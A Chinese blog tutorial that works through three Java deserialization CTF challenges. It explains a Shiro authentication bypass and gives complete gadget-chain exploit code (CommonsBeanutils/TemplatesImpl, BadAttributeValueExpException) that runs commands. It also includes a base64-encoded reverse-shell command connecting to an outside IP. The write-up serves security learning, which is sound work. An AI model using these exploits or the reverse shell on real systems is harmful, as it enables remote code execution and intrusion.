美文网首页
java 反序列化入门 (一)

java 反序列化入门 (一)

作者: CSeroad | 来源:发表于2023-02-07 17:23 被阅读0次

    前言

    学习java反序列化遇到各种调用链是经常的事情,但因为调用链的复杂不是很方便理解。这里找几道java反序列化相关的CTF题目帮助我们理解java反序列化漏洞。

    2022美团CTF

    首先在本地将jar启动,浏览器访问该端口。页面显示为登录框。

    image.png

    分析

    将jar包放在jd-gui里面打开可以看到源代码。

    image.png

    可以看出在访问/admin/hello路由时,通过data传递的参数先进行base64解码之后会触发ObjectInputStream 类的 readObject() 方法,该方法用于反序列化,将字节流重构为对象。

    显而易见的是该路由无法访问,是因为在ShiroConfig类进行了过滤。

    filterMap.put("/admin/*", "authc");
    

    即访问admin路由下的任意内容均需要权限认证。

    anon:匿名用户可访问
    authc:认证用户可访问
    user:使用rememberMe可访问
    perms:对应权限可访问
    role:对应角色权限可访问
    

    在pom.xml 里看到当前shiro版本为1.5.2,可使用;绕过

    image.png

    存在shiro 权限绕过漏洞。

    image.png

    Shiro将;认作为/,再进入Spring时又会被正确处理为web应用下的/admin/hello 路由。

    payload 构造

    下面就是如何进行反序列化了?
    查看lib库里存在常见的commons-beanutils-1.9.4.jar和commons-collections-3.2.2.jar。
    以commons-beanutils-1.9.4.jar为例

    package com.example.demo3.tools;
    
    /**
     * @author cseroad
     */
    
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.PriorityQueue;
    import java.io.*;
    import java.util.*;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.beanutils.BeanComparator;
    
    public class commons_beanutils {
        public static byte[] serialize(Object o)throws Exception{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(o);
            return barr.toByteArray();
        }
        public static void unserialize(byte[] barr) throws Exception{
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr));
            ois.readObject();
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception{
            byte[] code = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/eval.class"));
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{code});
            setFieldValue(obj, "_name", "Arsene.Tang");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            BeanComparator comparator = new BeanComparator();
            Queue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            System.out.println(Base64.getEncoder().encodeToString(serialize(queue)));
            //unserialize(serialize(queue));
        }
    }
    
    

    eval.java

    package com.example.demo3.tools;
    
    /**
     * @author cseroad
     */
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class eval extends AbstractTranslet {
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    
        public eval() throws Exception {
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        }
    }
    
    

    注意引用的commons-beanutils要和题目的版本保持一致。
    将生成的payload再进行一次url编码。

    image.png

    成功弹出计算器。说明调用链没有问题了,下面只需要更改为反弹shell的命令即可。

    Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIxMC4yOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"});
    

    小结

    该题目考察了shiro的权限绕过和commons-beanutils调用链的基本操作。

    东华杯2021 ezgadget

    也是一个java包,在本地启动即可。

    image.png

    分析

    同样将jar包放在jd-gui里面打开可以看到源代码。

    image.png

    当访问readobject路由时,接受一个data参数 base64解码后,先读取字符串和INT并判断,判断通过后再读取对象进行反序列化。
    但这里只是一个反序列化操作,lib库也没有引用多余的jar包。
    ToStringBean类实现了 Serializabel 接口,是可以序列化的,而里面调用了defineClass,用来加载字节码,并且通过newInstance实例化加载Class类。

    image.png

    因此如果可以调用到该toString() 方法,并且控制ClassByte内容,就可以实现命令执行。
    而在cc5中存在一条gadget调用链,可以调用任意类的toString() 方法。
    BadAttributeValueExpException可以主动触发val字段的toString方法

    payload 构造

    现在尝试构造一下payload。
    首先是实例化BadAttributeValueExpException类,反射传值val

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
    Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(obj,value);
    

    调用的是ToStringBean类的toString() 方法。并设置ClassByte

    byte[] bytes = null;
    ToStringBean toStringBean = new ToStringBean();
    Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
    classByte.setAccessible(true);
    classByte.set(toStringBean,bytes);
    

    而后就是序列化类,先写进字符串和int,再写进对象。

    ByteArrayOutputStream OutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(OutputStream);
    objectOutputStream.writeUTF("gadgets");
    objectOutputStream.writeInt(2021);
    objectOutputStream.writeObject(badAttributeValueExpException);
    byte[] bytes1 = OutputStream.toByteArray();
    Tools tools = new Tools();
    String s = tools.base64Encode(bytes1);
    

    整理以后poc为

    package com.ezgame.ctf.tools;
    
    import org.junit.Test;
    import javax.management.BadAttributeValueExpException;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    /**
     * @author cseroad
     */
    public class test {
    
        @Test
        public void test() throws Exception {
            byte[] bytes = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/poc.class"));
            ToStringBean toStringBean = new ToStringBean();
            Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
            classByte.setAccessible(true);
            classByte.set(toStringBean,bytes);
    
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("111");
            Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
            val.setAccessible(true);
            val.set(badAttributeValueExpException,toStringBean);
    
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeUTF("gadgets");
            objectOutputStream.writeInt(2021);
            objectOutputStream.writeObject(badAttributeValueExpException);
            byte[] bytes1 = byteArrayOutputStream.toByteArray();
            Tools tools = new Tools();
            String s = tools.base64Encode(bytes1);
            System.out.println(s);
    
        }
    }
    
    

    poc.java

    import java.io.IOException;
    /**
     * @author cseroad
     */
    public class poc {
    
        public poc(){
    
        }
        static {
            try{
                Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
            } catch (IOException e){
                e.printStackTrace();
            }
        }
    }
    

    需要注意的是ToStringBean类在com.ezgame.ctf.tools包下,所以构造poc时也要同样的包名。

    image.png

    否则提示类不存在。

    image.png

    小结

    该题目巧妙借用cc5的BadAttributeValueExpException类,调用到指定包下的ToStringBean类的toString() 方法,从而命令执行。
    调用链如下:

    com.ezgame.ctf.controller.Tools.base64Decode() --->
    objectInputStream.readObject() ---> 
    BadAttributeValueExpException.readObject ---> 
    com.ezgame.ctf.tools.ToStringBean.toString() ---> 
    

    JavaLearnVulnerability

    https://github.com/SummerSec/JavaLearnVulnerability/tree/master/shiro/shiro-ctf/target 下载jar 包,启动即可。

    image.png

    分析

    同样将jar包放进jd-gui里面打开可以看到源代码。
    先看pom.xml

    image.png image.png

    再看shiroconfig类,访问index路由需要权限认证。
    但shiro为1.5.3版本,存在权限绕过。
    引用nice0e3大佬的总结图。

    image.png

    成功绕过。

    image.png

    再看控制器层

    image.png

    当访问/index/ 路由时,从请求中获取cookie值,并判断cookie的name值是否等于hacker,如果存在对cookie值进行base64解码后反序列化操作。

    image.png image.png

    入口类source就找到了。那用来做什么操作呢?
    com.summersec.shiroctf.Tools#Tools存在一个exeCmd()方法,用来命令执行。

    image.png

    而在com.summersec.shiroctf.Tools#LogHandler存在一个invoke()方法和toString()方法。都调用了exeCmd()方法。

    image.png

    如果可以调用这两个方法的任意一个,并控制其中的静态变量值,就可以实现命令执行。

    payload 构造

    以调用LogHandler类的toString()方法为例,那就先实例化出来并调用

    LogHandler logHandler = new LogHandler();
    logHandler.toString();
    

    需要控制的是私有的属性值readLog,反射调用。

    LogHandler logHandler = new LogHandler();
    Field readLog = logHandler.getClass().getDeclaredField("readLog");
    readLog.setAccessible(true);
    readLog.set(logHandler,"");
    logHandler.toString();
    

    调用LogHandler类的toString()方法,就自然想到了BadAttributeValueExpException类。

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(badAttributeValueExpException, logHandler);
    

    接着就是序列化

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(badAttributeValueExpException);
    byte[] bytes1 = byteArrayOutputStream.toByteArray();
    Tools tools = new Tools();
    String s = tools.base64Encode(bytes1);
    System.out.println(s);
    

    将以上代码整理后就是payload

    package com.summersec.shiroctf.Tools;
    
    import org.junit.jupiter.api.Test;
    
    
    import javax.management.BadAttributeValueExpException;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    
    /**
     * @author cseroad
     */
    public class test {
    
        @Test
        public void test() throws Throwable {
            LogHandler logHandler = new LogHandler();
            Field readlog = logHandler.getClass().getDeclaredField("readLog");
            readlog.setAccessible(true);
            readlog.set(logHandler, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
            //logHandler.toString();
    
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
            Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
            val.setAccessible(true);
            val.set(badAttributeValueExpException, logHandler);
    
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            byte[] bytes1 = byteArrayOutputStream.toByteArray();
            Tools tools = new Tools();
            String s = tools.base64Encode(bytes1);
            System.out.println(s);
    
        }
    
    }
    
    
    image.png

    小结

    这道题目很好的将上面的两个题目进行了整合。即巩固了shiro的权限绕过又再次学习了BadAttributeValueExpException类的使用。
    调用链如下:

    com.summersec.shiroctf.Tools.base64Decode() --->
    com.summersec.shiroctf.Tools.deserialize() --->
    ObjectInputStream.readObject() --->
    BadAttributeValueExpException#readObject ---> 
    com.summersec.shiroctf.Tools.LogHandler#toString --->
    com.summersec.shiroctf.Tools.exeCmd()
    

    总结

    做了几道关于java反序列的题目,加深了对反序列的理解,在尚且还不清楚各种复杂调用链的情况下,很适合初学者练习。

    相关文章

      网友评论

          本文标题:java 反序列化入门 (一)

          本文链接:https://www.haomeiwen.com/subject/shtzhdtx.html